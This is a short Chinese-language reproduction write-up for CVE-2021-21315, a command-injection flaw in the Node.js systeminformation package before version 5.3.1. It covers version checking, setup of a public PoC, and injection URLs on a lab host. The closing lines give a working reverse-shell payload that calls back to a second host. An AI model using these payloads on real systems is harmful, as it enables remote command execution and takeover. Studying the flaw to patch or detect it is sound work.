概述
Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315)攻击者可以通过「systeminformation」中代码注入漏洞的存在意味着攻击者可以通过在组件使用的未初始化参数内小心翼翼地注入有效载荷来执行系统命令。
影响范围
目前该漏洞已经在 5.3.1 版本中修复,受影响的systeminformation版本:
- Systeminformation < 5.3.1
漏洞检测
查看 systeminfomation 版本
在 node_mudules 同级目录下找到 package-loca.json 文件并打开
在里面搜索systeminfomation,可以查看到相应的版本
漏洞复现
源码下载
[root@master-all ~]# git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
nodejs(linux)安装
[root@master-all ~]# tar -xf node-v12.18.4-linux-x64.tar.xz
[root@master-all ~]# mv node-v12.18.4-linux-x64 nodejs
[root@master-all ~]# mv nodejs/ /usr/local/sbin/
[root@master-all ~]# ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
[root@master-all ~]# ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/
查看版本并启动服务
[root@master-all ~]# cd CVE-2021-21315-PoC/
[root@master-all CVE-2021-21315-PoC]# node --version
v12.18.4
[root@master-all CVE-2021-21315-PoC]# node index.js
Hello world
POC
http://192.168.230.202:8000/api/getServices?name=$(echo -e 'ymcc' > test.txt)
http://192.168.230.202:8000/api/getServices?name[]=$(echo -e 'ymcc' > test.txt)
反弹shell
http://192.168.230.202:8000/api/getServices?name[]=$(bash -i >& /dev/tcp/192.168.230.201/1325 0>&1)